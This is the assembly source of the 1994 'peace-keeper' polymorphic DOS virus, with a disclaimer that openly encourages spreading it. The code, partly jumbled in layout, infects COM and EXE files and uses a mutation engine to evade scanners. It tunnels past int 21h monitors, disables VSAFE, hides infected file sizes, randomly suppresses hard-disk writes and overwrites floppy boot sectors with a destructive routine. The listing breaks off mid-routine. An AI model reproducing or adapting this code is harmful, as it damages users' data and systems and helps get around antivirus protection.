;============================================================================; ;peace-keeper virus version 2.10d - by doctor revenge ,18-may-1994 italy . ; ; ; ;disclaimer: ; ;this code wasn't written for research purpose only;any damage,direct or ; ;implied,caused by this source code ,or the resulting compiled file , is ; ;an immense pleasure for the author . modifing this code is strictly ; ;proibithed and will be punished;instead , you can look at this code to ; ;improve your knowledge and to write some good italian virus . ; ; ; ;compiling: ; ;if you want to spread this program directly from the source code , you ; ;have to use the great macroassembler and linker ,version 6 or up . ; ;tasm is not supported and ,any other assembler will probably produce ; ;different op-codes.test it carefully! ; ; ; ;description: ; ;you are editing the best polymorphic italian virus.it's about 4k , and ; ;is capable to infect exe file as well as com files.the infection for exe ; ;file is in the standard way,but ,for infecting com files,this program ; ;can create a lot of indirect jump , placed everywhere in the file,in ; ;order to fool many euristic engines.it avoids *all* interrupt 21's ; ;monitors , using a token scan into dos's segment , grabbing the total ; ;control of the victim system.finally,it is very polymorphic , capable ; ;to generate billions of different looking copies of itself ,using a ; ;simple , but very useful, 'slow polymorphic' method . ; ;no other italian virus can do the same! ; ; ; ;greetings: ; ;first of all,i want to make some good greetings to the trident group , ; ;(in the person of omega),that helped me very much in writing and spreading ; ;this code . at the same time i want to build some nasty things against ; ;[nuke]: never in this lame team! ; ; ; ;cooming soon: ; ;the euristic engines is really a nasty problem . so , i decided to write ; ;a polymorphic engine capable to avoid scannig as well as euristic alerts. ; ;keep on line to grab my next creation. ; ; ; ;greetings to all virus writers...!! ; ;============================================================================; _code start:
segment word public 'code' assume cs:_code,ds:_code org 100h call pop sub jmp nop
$+3 si si,03 fuck_tbx
; calculating delta offset ; get from stack the entry_point ; make a joke against tbclean
; interrupt 13 handler. on a random bases it swaps the write call ; destroying random portion of the hard disk . int13: cmp
cs:gate,close
; check if the virus is infecting
je cmp je jmp13:
jmp iret roulette: push push call and and cmp jmp cmp jne prize: pop pop clc iret no_prize: pop pop jmp
jmp13 ah,03 roulette
; a victim file ; check if a write call is present ; if yes, make a joke .
dword ptr cs:old13
; jmps to next int13 filter
ax bx rnd_get ah,00000111b al,00000111b ah,07 no_prize al,06 no_prize bx ax
bx ax jmp13
; get a random number ; setting the numbers for the play ; check if it is time to die
; ahahaha (nasty!),no write performed ; popping registers and simulate ; a perfect int 13h operation ; perform the normal int13h call .
; with this int 1 handler , the virus can stop the naughty ; action of a nasty program called tbclean . this handler passes ; control to an hidden entry point , fucking the euristic engine . int1:
no_jmp:
cmp jne mov pushf pop and push popf jmp
cs:[gone+si-100h],stop no_jmp cs:[gone+si-100h],now ax ax,0feffh ax brkdone
iret
; is time to jump ? ; set off trap flag
; storing new flags ; jmp to hidden entry point ; return to the calling process
; hooking int 1 (single step) to avoid euristic cleaning . fuck_tbx: sub mov cli mov mov sti lea mov mov mov pushf pop
ax,ax es,ax dx,word ptr es:[1*4] cx,word ptr es:[1*4+2]
; hooking directly via ivt the ; single step tracer . ; saving old address
ax,word ptr [int1+si-100h] cs:[gone+si-100h],stop ; patching with our handler word ptr es:[1*4],ax word ptr es:[1*4+2],cs ax
or push popf nop u_r_so_stupid: int brkdone: cli mov mov sti jmp
ax,0100h ax
20h
; set trap flag on . ; ; ; ;
after this instruction , the control passes to the virus if tbclean is off... ... if it is on, this is the end.
word ptr es:[1*4],dx word ptr es:[1*4+2],cx
; restoring old int1 address .
begin
; jmp to the virus entry point
; random number generator stolen from the girafe virus rnd_init: push call and inc xchg random_lup: call loop pop ret rnd_init0: push push mov int in mov in xor xor jmp rnd_get: push push push mov mov mov rnd_lup: shl rcl mov xor jns inc rnd_l2: loop pop move_rnd: mov mov mov
cx rnd_init0 ax,000fh ax ax,cx rnd_get random_lup cx
; call a few times the random ; engine ...
; warm-up the engine ; random init done .
dx cx ah,02ch 21h al,040h ah,al al,040h ax,cx dx,ax move_rnd dx cx bx ax,0deadh dx,0deadh cx,7 ax,1 dx,1 bl,al bl,dh rnd_l2 al rnd_lup bx
; init the random generator with ; current data ; get some garbage from port 040h ; preparing random seeds ; patching random generator code .
; these locations will be modified ; by the random init
; this is the main loop to ; calculate random numbers
; modify instructions word ptr cs:[rnd_get+4],ax word ptr cs:[rnd_get+7],dx al,dl
pop pop ret ; ; ; ;
cx dx
jumping to old infected file entry-point.for exe files , this code restores the es=psp and jumps to the old entry address. for com files , it restores the modifies code into the program and jump to the file's beginning.
restore:
jmpexe:
jmpcom:
cmp je cmp je jmp
byte ptr [ftype+si-100h],com ; checking the file type jmpcom byte ptr [ftype+si-100h],exe jmpexe $
mov mov mov mov add mov add cli mov mov sti add push push retf
ax,[startds+si-100h] ds,ax es,ax dx,ds dx,010h cx,dx dx,word ptr cs:[progss+si-100h]
mov lea push pop cld patchcom: push lodsw mov lodsw mov add rep pop loop push mov push retf error: stc ret noerror: clc ret
ss,dx sp,word ptr cs:[progsp+si-100h] cx,word ptr cs:[progcs+si-100h] cx word ptr cs:[progip+si-100h] cx,[chainum+si-100h] ; load the numbers of the chain si,word ptr [over+si-100h] cs es cx cx,ax di,ax di,0100h movsb cx patchcom cs ax,100h ax
; load chain length ; load chain offset ; replacing chain code with ; the original code stored ; at the end of the infected file
; set cf and return ; clear cf and return
; token tunnelling routine . searchs the dos's segment to find ; original interrupt 21h's address . token:
lookver:
mov int push mov sub sub mov mov
cmp jz inc inc loop jmp setstring: sub xchg mov mul lea add pop call
ah,034h 21h es ax,[dosver+si-100h] ah,ah bx,bx bx,03 cx,4 al,bl setstring bl ah lookver error al,al al,ah bx,4 bx bx,[dos3+si-100h] bx,ax ax scandos
; get indos flag segment to locate ; dos's code location ; checking dos's version to ; scan the right string
; scanning current dos's version .
; dos version unknown ; setting dos's code parameters ; calculating appropriate scan string
; call the tokentunnelling engine
; checking if the stolen scan string is the same of the ; dos code entry point string . compare:
notdos: scandos:
search:
cont1:
founded:
cmp jne mov cmp jne jmp
dx,word ptr [bx] notdos dx,word ptr es:[si+2] dx,word ptr [bx+2] notdos error
jmp
noerror
mov mov mov mov
di,si es,ax si,0100h cx,5000
mov cmp jne call jc
dx,word ptr es:[si] dh,byte ptr [bx] cont1 compare founded
inc loop jmp
si search error
mov
; check memory and dx register
; ; ; ; ; ; ; ;
set input register set input segment (dos's code seg ) begin scan from 0100h offset scan about 5k of codes get two bytes from dos , check if the first byte is the same in the scan string . if yes , check other tree bytes .
; looking for ...
; storing original int21 address word ptr [odos21+di-100h],si
mov mov jmp nop
word ptr [odos21+di-100h+2],es si,di ; restoring old si value noerror ; all done.no error (eureka!)
; real start of the virus . begin:
mov int mov mov push pop mov mov int cmp jz mov cmp jl chk_vsafe: mov mov int cmp jne mov mov int getadrs: mov int mov mov mov int mov mov mov mov call
ah,030h 21h cs:[dosver+si-100h],ax cs:[startds+si-100h],ds cs ds bp,si ax,0deadh 21h bx,ax restore ax,[dosver+si-100h] al,03 restore ax,0fa00h dx,5945h 16h di,4559h getadrs ax,0fa01h dx,5945h 16h ax,3513h 21h word ptr word ptr ax,3521h 21h word ptr word ptr word ptr word ptr token
; get dos's version ; store it into buffer ; store,also, the start-up ds value ; call the ru-there service ,if present ; ax:=0deadh --> bx:=0deadh ; if already present,restore old prog ; check the dos's version ; i need dosv3 or up ; check the presence of the ; cp's vsafe monitor ; call keyboard interrupt handler ; to deactivate this nasty and ; sloppily written tsr monitor .
; call dos to obtain int13 address [old13+si-100h],bx ; store them [old13+si-100h+2],es ; do the same thing with interrupt 21h [dos21+si-100h],bx [odos21+si-100h],bx ; store them into buffers [dos21+si-100h+2],es [odos21+si-100h+2],es
; the mcg module needs a particualr setting to work properly . this setting ; is obtained from the harddisk's serial number for dos4+ or from the ; current date for dos3. initmut: mov cmp jl
ax,[dosver+si-100h] al,04 init3
; check dos's version for proper ; polymorphic engine setting .
; for dos4+ , the virus call dos to obtain first harddisk serial number ; calculated at every format service . init4: mov
ax,06900h
; get serial number of the
mov lea int mov mov jmp
bl,03 ; first harddisk dx,[buf+si-100h] 21h ah,byte ptr [buf+si-100h+2] ; store datas into mcg's setting byte ptr [flag+si-100h],ah move_ontop
; for dos3 , the virus ,simply, get the current system's date . init3:
mov int mov
ah,02ah ; call dos's date/time service . 21h byte ptr [flag+si-100h],dh
; moving virus on the top of the system ram. move_ontop: mov dec mov sub cmp jne mov sub sub mov push sub sub or or rep pop hookdos: mov push push pop lea int mov lea int pop mov int jmp
bx,[startds+si-100h] bx es,bx bx,bx byte ptr es:[bx],'z' restore ax,(6200/16) word ptr es:[bx+3],ax word ptr es:[bx+12h],ax es,word ptr es:[bx+12h] si cx,cx di,di di,0100h cx,virlen movsb si ax,2521h ds es ds dx,int21 21h ax,2513h dx,int13 21h ds ax,0deaeh 21h restore
; get the start-up data segment ; get the segment of the current mcb ; ; ; ; ; ;
check if it is the last block active in central memory . preserving about 6k of memory space. substracting this memory amount from dos's mcb data . get viral segment address
; move virus on the top ; of the system memory . ; move it!
; hooking the dos's interrupt 21h ; with our handler . ; do the same thing with int 13h
; now,it's time to init the random ; number generator with an int21 call.
; this procedure is the crazy payload of the virus . it is called ; every 16 infections, and it overwrites the boot-sector of the disk into ; drive a: , with a killer-trojan. myboot:
nop call and and
rnd_get ah,00000111b al,00000011b
; get a random number . the infection ; of the boot-sector of the disk a:
get_ofs:
cmp jne cmp jne cld lea mov mov sub int popf jc
mov cmp jne push pop lodsb lodsb sub add mov lea mov rep write_bsr: sub mov xor lea int popf jc jmp
ah,7 noerror al,4 noerror bx,over al,0 cx,1 dx,dx 25h
; is performed about 1 on 16 times
; set direction flag . ; set output buffer for boot-sector ; read the boot-sector into the buffer ; call dos's disk read service .
error
; if error , skip infection
si,bx byte ptr [si],0ebh error cs es
; find the boot-sector's code ; entry point , in order to not ; overwrite important dpb data
; get offset of the bsr-code entry ah,ah si,ax di,si si,killer ; set starting address of the routine cx,(offset here - offset killer) movsb ; moving killer routine into boot code dx,dx cx,1 al,al bx,over 26h
; write the new boot-sector on the ; diskette , using dos's write service. ; updating boot-sector .
error noerror
; this is the boot-killer trojan , written into the boot-sector . killer:
put_msg:
call pop sub cli cld xor mov mov mov sti
$+3 bx bx,3
mov mov sub mov mov stosw loop sub
ax,0b800h es,ax di,di ax,1f20h cx,(80*25)
ax,ax ss,ax ds,ax sp,07c00h
$-1 di,di
; get delta offset . ; clear interrupts and set ; direction falg . ; set stack (absolutely unnecessary!) ; set new stack pointer . ; put the message into video memory ; clear the screen .
; put the first string into video buf
mov add mov putfirm1: lodsb stosb inc loop mov mov putfirm2: lodsb stosb inc loop jmp
si,bx si,(offset firm1 - offset killer) cx,lengthof firm1
firm1 firm2 here:
'peace-keeper virus v2.10 ' 'written by doctor revenge 18-may-1994 , italy'
byte byte
di putfirm1 cx,lengthof firm2 di,(80*2)
di putfirm2 $
; checking the file for name . this procedure determines the file type ; and provide to skip unwanted infections of some popular av programs. checkfile: mov push pop push pop mov mov namemove: lodsb cmp je cmp jb cmp ja xor charok: stosb loop moved: stosb mov dec std push push pop pop scan2: lodsb cmp jne cld inc
si,fofs fseg ds cs es di,virlen+100h cx,0080h
; get into si the file pointer ; store into ds the file segment
al,0 moved al,'a' charok al,'z' charok al,20h
; converts to uppercase ; and moves the filename into ; internal buffer
; set output pointer ; load 80 bytes from filename.
namemove ; make the asciiz termination . si,di si cs cs es ds al,'.' scan2 si
; set reverse direction and scan ; for the file's extension . ; ; adjusting segment registers. ; scans for the extension begin ; set directin flag . ; checks the extension
scan3:
scan4: findbeg:
checkav:
inc mov lea mov repe jnz mov jmp
si ax,si di,ext cx,03 cmpsb scan3 ftype,exe scan4
lea mov mov repe jnz mov
di,ext+3 si,ax cx,03 cmpsb error ftype,com
std mov
cx,15
lodsb cmp je cmp je loop jmp
al,':' checkav al,'\' checkav findbeg error
inc inc cld lodsw lea mov repne jz jmp
si si
; of the victim file ; ; load extension settings ; comapare these extensions ; ; if it is 'exe' we have an exe file
; scans for 'exe' or 'com' ; files
; scans to find the begin ; of the filename
; checks first two bytes of ; the file name , to avoid ; infection of some av progs
di,skip cx,10 scasw error noerror
; procedures commonly used to infect the victim file . openfile: push mov mov mov call pop jc mov jmp closefile: mov mov call jmp setattrib: push mov mov
ds dx,fofs ds,fseg ax,3d02h dos ds error handle,ax noerror ah,03eh bx,handle dos noerror ds dx,fofs ds,fseg
; open the victim file using ; the original dos's interrupt 21h
; ; ; ;
do you need any comments here? if yes, fill it ! i won't spend time to add comments to these virus-standard routines .
; load the file's attributes and stores ; them into internal buffers.
mov call mov xor mov call pop jc jmp storedate: mov mov call mov mov jmp loaddate: mov mov mov mov cmp jnz or and no_tag: call jmp
ax,4300h dos cs:fattrb,cx cx,cx ax,4301h dos ds error noerror ax,5700h bx,handle dos fdate,dx ftime,cx noerror ax,5701h bx,handle cx,ftime dx,fdate fucked,yes no_tag cl,01fh cl,0feh dos noerror
; this is the handler of the viral interrupt 24h (critical error section ). ; during infection it is hooked to avoid 'abort,retry,fail...' on a ; write-protected disk. setint24: push sub mov mov mov mov mov mov mov pop jmp loadint24: push sub push pop mov mov mov mov pop jmp
es ax,ax es,ax ax,word ptr es:[24h*4] word ptr es:[24h*4],offset fake24 word ptr old24[00],ax ax,word ptr es:[24h*4+2] word ptr es:[24h*4+2],cs word ptr old24[02],ax es noerror es bx,bx bx es ax,word ptr old24[00] word ptr es:[24h*4],ax ax,word ptr old24[02] word ptr es:[24h*4+2],ax es noerror
; moving anywhere the file's pointer .
movefp:
push push mov sub mov mov call pop pop jmp
cx bx ah,042h cx,cx dx,cx bx,handle dos bx cx noerror
; loading and adjusting the exe header , in order to run the virus first. calclen:
nocor: getlen:
mov div or jz inc ret
mov mov ret entryexe: mov mov call mov mov mov lea call lea cmp jne cmp jz cmp jb chk4win: sub mov mov mov call jc mov mov lea call jc mov mov mov mov
cx,200h cx dx,dx nocor ax
; calculate file page length
; no correction needed. ax,size1 dx,size2
; put into ax:dx pair the file size
fucked,nope al,00 ; movefp ; ah,03fh ; bx,handle cx,01ch dx,buf ; dos si,buf word ptr [si],'zm' ; error word ptr [si+12h],0deadh; error word ptr [si+18h],040h ; not_win
set file's pointer to the begin read about 1ch bytes from the file set working buffer check if it is an exe file is it already infected? check if it is a windows/os2 file
cx,cx dx,003ch ; set new file's pointer position ax,4200h bx,handle dos error ah,03fh ; read 4 bytes from the new position cx,04 ; and store them into the microbuffer dx,minibuf dos error ; if we are in presence of a new-exe dx,word ptr minibuf[00] ; haeder , we are storing the offset cx,word ptr minibuf[02] ; of it into a buffer . ax,4200h ; bx,handle ; moving file pointer to this new
call jc mov mov lea call jc cmp jz not_win:
call call cmp jnz cmp jnz cmp jz cmp jnz calcentry: call mov div mov sub push pop mov push pop mov push pop mov push pop mov
dos ; error ah,03fh cx,4 ; dx,minibuf ; dos ; error ; byte ptr minibuf[01],'e' error ; getlen calclen word ptr error word ptr error word ptr error word ptr error
[si+4],ax [si+2],dx
position in the exe file . read the first 4-bytes checking if the target file is windows/os-2 file . if windows/os2 file, skip infection
; performing a simple check on the ; file's header information . ; ; check for the correct file length
[si+0ch],0 [si+1ah],0
getlen bx,0010h bx trashb,dx ax,word ptr [si+8] word ptr [si+16h] progcs word ptr [si+16h],ax word ptr [si+0eh] progss word ptr [si+0eh],ax word ptr [si+14h] progip word ptr [si+14h],dx word ptr [si+10h] progsp word ptr [si+10h],2000h
; internal overlays not zero ...
; ; ; ; ;
calculating new cs:ip pair remainder is the virus entry point storing old values and patching exe header with viral entry-point .
; set new stack
; creating exe decryption routine , calling the mcg engine . create_entry: call mov mov mov push call pop patch_length: call add adc add adc call mov mov
rnd_get bl,flag di,virlen+100h bp,trashb si crypt si
; ; ; ;
get a random number set decryption algorithm set decryption output offset store entry-point .
getlen ax,virlen dx,0 ax,declen dx,0 calclen word ptr [si+4],ax word ptr [si+2],dx
; calculating new file's size
; call the engine .
; new size in 512bytes page format . ; update file length information
memalloc: cmp jne mov nothigh: mov patchentry: mov call mov mov mov lea call mov jmp
word ptr [si+0ch],0ffffh ; extremely dangerous code ! nothigh ; it don't work with negative word ptr [si+0ch],0ffffh ; entry point . word ptr [si+12h],0deadh ; put 'already infected' flag . al,00 movefp ah,040h bx,handle cx,01ch dx,buf dos fucked,yes noerror
; updating exe 's header
; set infected flag .
; this procedure creates the polymorphic chains for the com files . ; actually , it is full of bugs ,but works well! (murphy rules...) entrycom: mov mov cmp jnb mov call sub mov mov mov mov call sub and inc inc mov mov chain1: push call sub and inc mov mov chain2: call dec jnz mov stosb calcnxt: push mov sub inc
gflag,yes ax,3000 ax,size1 error al,00 movefp ax,ax lstofs,ax buflen,ax curofs,ax bufofs,virlen+200h rnd_get ah,ah al,00000011b al al chainum,ax cx,ax cx rnd_get ah,ah al,00000111b al cx,ax di,virlen+100h rnd_chain cx chain2 al,0e9h di bx,virlen+100h di,bx di
; check the file's size
; resetting work values
; how many elements in the chain ?
; filling the element with a lot ; of non-sense instructions .
; call the mcg engine ; put the jump's opcode ; ; ; now, it's time to get the ; element length . ;
inc add mov pop pop cmp push jz
di curofs,di elen,di di cx cx,01 cx lastjmp
; ; updating current offset with it ; storing element length
call xor and mov mul mov add cmp ja stosw add jmp
rnd_get ah,ah al,00111111b bx,20h ax dx,curofs dx,ax dx,size1 calcofs
; ; ; ; ; ;
curofs,ax putjmp
; is the new offset too big ? ; if yes,repeat calculation ... ; ; up-dating current offset
mov sub stosw
ax,size1 ax,curofs
; setting jump for the virus
call pop loop make_decrypt: call mov mov mov add push call pop jmp put_chain: mov mov mov push pop push pop mov add mov call add add add add mov sub mov
put_chain cx chain1
; write the element on the file ; performing the loop ....
calcofs:
lastjmp:
putjmp:
; is it the last element of the chain?
set the new offset for the next chain's element . i will change this part , with a more sophisticated calculation , based on the file length .
rnd_get bl,flag di,virlen+100h bp,size1 bp,0100h si crypt si noerror
; get a random number ; set decrypotion algo
ah,03fh cx,elen si,bufofs elen word ptr [si] lstofs word ptr [si+2] dx,bufofs dx,4 bx,handle dos bufofs,ax bufofs,4 buflen,ax buflen,4 ax,4200h cx,cx dx,lstofs
; read old victim's file bytes
; call the polymorphic engine .
; prepare buffer for saving them ; buf: ; length,offset,..bytes.... ; ^----^ ^----^ ; word word
; moving file pointer to old location
call mov mov mov mov call mov xor mov mov call mov jmp writebuf: mov mov mov add mov add mov mov call jmp checktag: mov sub mov sub mov call mov mov lea call cmp jne jmp ; ; ; ; ;
dos ah,040h cx,elen dx,virlen+100h bx,handle dos ax,4200h cx,cx dx,curofs bx,handle dos lstofs,ax noerror ah,040h bx,handle cx,buflen cx,2 si,virlen+200h si,buflen word ptr [si],0deadh dx,virlen+200h dos noerror ax,4200h cx,cx dx,size1 dx,2 bx,handle dos ah,3fh cx,2 dx,buf dos word ptr buf[00],0deadh noerror error
; writing element into the file .
; moving file's pointer to the ; the next offset to process
; saving last offset
; writing old bytes buffer at the ; end of the infected files .
; setting the already infected flag
; loading the last two bytes of the ; files to check the flag ...
; is it already infected ?
this procedure is called at every infection to create the polymorphic version of the virus and to write this code at the end of the victim . with the paged writing of the virus into the victim file , this virus can preserve a large amount of memory,keeping only 6k of central memory . look at other , memory pig , polymorphic viruses !
writevirus: mov call mov mov mov mov call set_encr: cmp jz cmp jz
al,02 movefp dx,virlen+100h cx,declen ah,040h bx,handle dos ftype,exe write_exe ftype,com write_com
; move file pointer to the end . ; ; first of all,we have to write ; the polymorphic decryption routine . ; write it into file . ; check the file type
jmp write_exe: call push mov mov exe_encr_lup: push mov mov mov call mov mov call pop loop pop mov mov call mov mov call jmp write_com: call push mov mov com_encr_lup: push mov mov mov add call mov mov call pop loop pop mov add mov call mov mov call jmp calc_page: sub mov mov div ret
$
; absolutely stupid!
calc_page dx cx,ax si,0100h
; calculating the paged length ; of the file .
cx dx,key cx,200h di,virlen+100h crypt_code ah,040h bx,handle dos cx exe_encr_lup cx di,virlen+100h dx,key crypt_code ah,040h bx,handle dos noerror calc_page dx cx,ax si,0100h cx dx,key cx,200h di,virlen+200h di,buflen crypt_code ah,040h bx,handle dos cx com_encr_lup cx di,virlen+200h di,buflen dx,key crypt_code ah,040h bx,handle dos noerror dx,dx bx,200h ax,virlen bx
; set input offset ; ; ; ; ; ;
get encryption key crypt exactly 512 bytes of code address of the output buffer crypt the code ... ... and write it into the file .
; crypt all the virus body . ; encrypts the remainder virus code ; write it at the end of the file .
; same as above...!
; simulating a complete push of the process registers pushall: mov mov mov mov mov mov mov mov mov nop ret
cs:procax,ax cs:procbx,bx cs:proccx,cx cs:procdx,dx cs:procsi,si cs:procdi,di cs:procbp,bp cs:procds,ds cs:proces,es
; saving all registers into ; internal buffers .
; re-popping the process registers popall:
mov mov mov mov mov mov mov mov mov nop ret
ax,cs:procax bx,cs:procbx cx,cs:proccx dx,cs:procdx si,cs:procsi di,cs:procdi bp,cs:procbp ds,cs:procds es,cs:proces
; re-popping the registers from ; the buffer .
; fake int 24 handler . fake24: mov iret
al,03
; handler for the int21 . int21: cmp jne mov iret chkfunction: cmp je cmp je cmp je cmp je
ax,0deadh chkfunction bx,ax ax,0deaeh rnd_call ax,4b00h exec ah,011h hide_dir ah,012h hide_dir
; execution ? ; dir command ?
; passing control to the next int21 hooker . jmpdos:
jmp iret
dword ptr cs:dos21
; call directly the int21 ,using original address . dos:
pushf call ret
rnd_call: call call call exec: call mov mov push pop call
; ; ; ;
dword ptr cs:odos21
pushall rnd_init popall pushall cs:fofs,dx cs:fseg,ds cs ds setint24
; saving registers
call
infect
; call infect procedure .
call call jmp
loadint24 popall jmpdos
; work is done .
; saving filename's pointer
stealth on the file's length . at every dir command issued by the command interpreter , it checks for the infected flag on the seconf field . if it is infected , this code substracts the virus length from the file length .
hide_dir: pushf call popf test jnz push push push push push push mov call mov cmp jnz mov mov call lodsb sub inc jnz add hide_fcb: mov
dos al,al hide_error ax bx dx si es ds ah,051h dos es,bx bx,word ptr es:[0016h] hide_error2 si,dx ah,02fh dos si,si al hide_fcb bx,07 ax,word ptr es:[bx+17h]
; perform original task to get ; an opened fcb for stealth
; check if it is the command.com
; if it is an extended fcb , we ; must add the delta offset
and cmp jne mov mov sub sbb jb mov mov hide_error2: pop pop pop pop pop pop hide_error: iret
ax,01fh ax,01eh hide_error2 ax,word ptr es:[bx+1dh] dx,word ptr es:[bx+1fh] ax,virlen dx,00 hide_error2 word ptr es:[bx+1dh],ax word ptr es:[bx+1fh],dx
; unmasking date ; check if it is already infected ; if not , substract the virus ; length from the file length
ds es si dx bx ax
; this procedure is the working horse of this virus . it is called ; by the interrupt 21h handler in order to infect the ; victim file . infect: cli mov mov push pop mov sti mov
procss,ss procsp,sp cs ss sp,0100h-1
; set own stack in order to not ; blow up the dos' stack --> (crash!)
cs:gate,close
call jc
checkfile notinfect
; check for a good victim file
call
myboot
; overwrite the bootsector into a:
mov cmp je cmp je jmp fuck_exe: call jc call jc call mov call mov mov call jc mov
fucked,nope ftype,com fuck_com ftype,exe fuck_exe error setattrib notinfect openfile notinfect storedate al,02h movefp size1,ax size2,dx entryexe notinfect2 fucked,yes
; infecting exe file using standard ; patching
call jmp fuck_com: call jc call jc call mov call mov mov call jc call jc call call mov notinfect2: call call notinfect: mov cli push pop mov sti jmp
writevirus notinfect2 setattrib notinfect openfile notinfect storedate al,02h movefp size1,ax size2,dx checktag notinfect2 entrycom notinfect2 writevirus writebuf fucked,yes
; infecting com file using the same ; method of the commander bomber
loaddate closefile cs:gate,open procss ss sp,procsp
; reloading old dos's stack
noerror
; data ; scan string for token routine dos3 dos4 dos5 dos6
byte byte byte byte
90h,90h,0e8h,0cch 90h,90h,0e8h,0cch 90h,90h,0e8h,0cch 90h,90h,0e8h,0cch
; this is the dos entry point code: ; nop ; nop ; call somewhere ...
; infected file data : ftype fofs fseg fattrb fdate ftime size1 size2 handle progss progsp progcs progip k1 k2 seed
byte word word word word word word word word word word word word word word word
com ? ? ? ? ? ? ? ? ? ? ? ? 9821h 0001 0deadh
; ; ; ; ; ; ; ; ; ; ; ; ;
victim file type (com or exe) address on the asciiz string of the filename buffer . file attribute stored by the virus file data to hide file opening ,change and writing size of infected file down... ... and up. file handle for dos service \ \old victim file entry point . /stored at infection time /
ext skip lstfofs curofs buflen bufofs lstofs chainum elen trashb fucked infdone gate gone
byte byte word word word word word word word word byte byte byte byte
'execom' 'scclvivsmscpf-imvhtb' ? ? 6 ? ? 1 ? ? nope nope open 0ffh
; allowed file's extension . ; a lot of filenames to skip (like avs) ; length of stored bytes on com files ; address of the stored bytes for com ; number of polymorphic chains ; length of the polymorphic header ; used to store exe entry-point ; gate on fake interrupt 13h ; used by the int 1 trap
; system status and interrupts address : adrs dos_seg oldss oldsp dosver startds odos21 dos21 old24 old3 old1 old13 procss procsp procax procbx proccx procdx procds proces procsi procdi procbp buf minibuf
word word word word word word dword dword dword dword dword dword word word word word word word word word word word word byte byte
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? 1ch dup (0) 4 dup (0)
; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;
i don't remember well (??) dos's code segment to scan
; ; ; ;
setting for the engine used by the put_into procedure target regsiter for put_into de/encryption key
previous stack pointer system dos's version starting data segment value original dos's 21 interrups address next int21 hooker in the chain address of the int24 hooker not used (?) used to store int1 into startup trap address of the next int13h filter \ \ \ \ at every infection,the process's registers are stored here / / / / working buffer to infect exe files only a micro-buffer to check 4 win
; mcg data area : flag byte value word target byte key word entry word set byte lupadrs word deltaofs word decloc word declen word gflag byte zerof byte
? ? ? ? ? ? ? ? ? ? ? ?
; value of the current delta-offset ; decryption location ; decryption length ; this flag is used to check for some ; nasty problems with the zero flag
; various equ ... com exe yes nope stop now close open
equ equ equ equ equ equ equ equ
0 1 0 1 0 1 0 1
; constants used at run-time
;============================================================================; ; m u t a t i o n e n g i n e ; ; mcg "mutant code generator" , version 0.31beta ; ; written by doctor revenge , all rights reserved . ; ; ; ; usage: ; ; ; ; to work with this engine , you must provide the settings into the ; ; bl register . this is the description of this settings : ; ; ; ; bl register ; ; bit # - description ; ; ; ; 0 ------> reserved . ; ; 1 ------> put random instructions into decryptor ; ; 2\ ; ; ------> encryption/decryption method ( add / sub / xor ) ; ; 3/ ; ; 4 ------> loop instructions ( loop / jnz,jg ) ; ; 5 ------> si or di ? ( 0 = si , 1 = di ) ; ; 6 ------> delta offset in decryption loop ; ; 7 ------> use byte or word for de/encryption ; ; ; ; di ------> offset where the mcg will put the decryption routine ; ; ax/ah ------> en/decryption key ; ; bp ------> entry point where the decryptor gets control ; ; ; ; output : ; ; ; ; cx ------> length of decryptor ; ; dx ------> start offset of the decryptor ; ; ; ; ; ; all other registers will be trashed ! ; ; ; ; note : ; ; this program was expressely written for the peace-keeper virus . ; ; if you want to use , this engine , you *must* wait for the official ; ; release of it , the mcg , that is more,more,more polymorphic . ; ;============================================================================; db
'[mcg v0.31?]'
vipregs byte
000b,001b,011b,100b
mul_set: nop nop mov mul mov ret rndget:
rndgarb:
push mov call loop pop ret
test jnz rnd_chain: push call and sub mov mov inc call loop pop no_garb: ret chk_reg: push push push lea mov mov repne pop pop pop jne mov reg_ok: ret
bx,02 bx si,ax
; multiply by 16
cx cx,30 rnd_get $-3 cx
; shaking rnd engine ...
set,01000000b no_garb cx rnd_get al,00000111b ah,ah ch,ah cl,al cx garb $-3 cx
; insert a lot of random instrs ; before loop routine
ax cx di di,vipregs cx,4 al,ah scasb di cx ax reg_ok ah,010b
; ; ; ;
this procedure , tests the used register . if it is a register like sp , it patch the value .
; this procedure assembles a lot of non-sense instructions in order ; to make confusion when a scanner tries to detect this virus . tableg
word word word word word word word word
offset offset offset offset offset offset offset offset
g1 g2 g5 g4 g7 g3 g7 g6
;1 ;2 ;5 ;4 ;8 ;6 ;7 ;3
nop8 nop16 clear
byte byte byte
090h,0f8h,0f9h,0f5h,0fah,090h,0fch,0f5h 08h,020h,08h,088h 02bh,031h
pushf push push push push call and call call jmp
ax bx cx dx rndget ax,00000111b mul_set rndget word ptr cs:[si+tableg]
garb:
garbend:
g1:
g2:
g3:
g4:
pop pop pop pop popf ret
dx cx bx ax
and lea xlat stosb jmp
al,00000111b bx,nop8
cmp jne and lea push pop xlat mov push call and or and mov mov shr or or stosw pop jmp
gflag,yes garbend al,00000011b bx,nop16 cs es
and or or stosw stosw jmp
al,00000001b al,10000110b ah,11000000b
; nop , cli , std ...
garbend
; and,or , (8/16) ; es: ; and si,si
bl,al cx rnd_get al,00000001b al,bl ah,00111000b bh,ah cl,03 ah,cl ah,bh ah,11000000b cx garbend
garbend
; xchg , ; es: ; xchg ax,sp ; xchg sp,ax
g5:
g6:
g6b: g7:
g8:
; ; ; ; ;
and or sub stosw jmp
al,00001111b al,01110000b ah,ah
cmp jnz and or or stosw call test jz jmp
gflag,yes garbend al,00000001b al,00111010b ah,11000000b
cmp jnz and or stosb test pushf call popf jnz stosb jmp
gflag,yes garbend al,00000001b al,00111100b
stosw jmp
garbend ; cmp , ; (jx next )
rnd_get ah,00000010b g4 garbend ; cmp ax,[mem offset]
al,00000001b rnd_get g6b g4 $-3
cmp jnz and or or stosw jmp
gflag,yes garbend al,00000001b al,10000100b ah,11000000b
and lea xlat stosb mov stosw jmp
al,00000111b bx,nop8
; test ,value
g4
ax,0fde2h garbend
this procedure puts into a register , a numeric value . used to set-up decryption routine . dh = target register ax = numeric value
(opcode format)
vip_reg byte
000b,001b,100b,011b
tablep
offset p1
word
word word word put_into: pushf push push push push mov mov call and call call jmp putdone: pop pop pop pop popf ret p1: mov or stosb mov stosw call jmp p2: and call mov mov or stosb mov stosw call mov mov or mov sub mov shl or stosw jmp p3: and call mov mov or stosb
offset p2 offset p4 offset p3 ax bx cx dx value,ax target,dh rnd_get ax,00000011b mul_set rndget word ptr cs:[si+tablep] dx cx bx ax
al,10111000b al,target
